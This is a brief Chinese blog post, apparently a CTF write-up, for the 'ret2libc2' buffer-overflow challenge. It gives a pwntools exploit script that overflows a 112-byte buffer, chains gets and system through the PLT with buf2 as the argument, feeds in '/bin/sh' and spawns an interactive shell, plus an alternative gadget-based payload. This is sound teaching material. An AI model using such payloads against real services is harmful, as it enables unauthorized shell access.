ret2libc2

第一个点
image
看垃圾数据的填充距,在peda里看寄存器,然后后面是10进制计算。
image
这题是有system无/bin/sh/

点击查看代码
from pwn import *
context.log_level='debug'
io=process("./ret2libc2")
elf=ELF('./ret2libc2')
gets_plt=elf.plt["gets"]
sys_plt=elf.plt["system"]
buf2=elf.symbols["buf2"]
payload=112*'a'+p32(gets_plt)+p32(sys_plt)+p32(buf2)+p32(buf2)
#payload=112*'a'+p32(gets_plt)+p32(0x0804843d)+p32(buf2)+p32(sys_plt)+p32(0x0804843d)+p32(buf2)
io.recv()
io.sendline(payload)
io.sendline("/bin/sh\x00")
io.interactive()
本地加载此程序,然后一个gets吸收再覆盖到system,每个地方用buf2去填参数,因为没有/bin/sh/所以要手动输入 先输入payload,然后进入了gets函数,再手动输入/bin/sh/即可得到shell elf.symbols可以得到地址,当然也可以看ida 第二种payloa更通用,就是找一个gadget作用是辣鸡回收,比如pop ebx |ret
posted @ 2022-04-18 23:30  REPWNER  阅读(3)  评论(0)    收藏  举报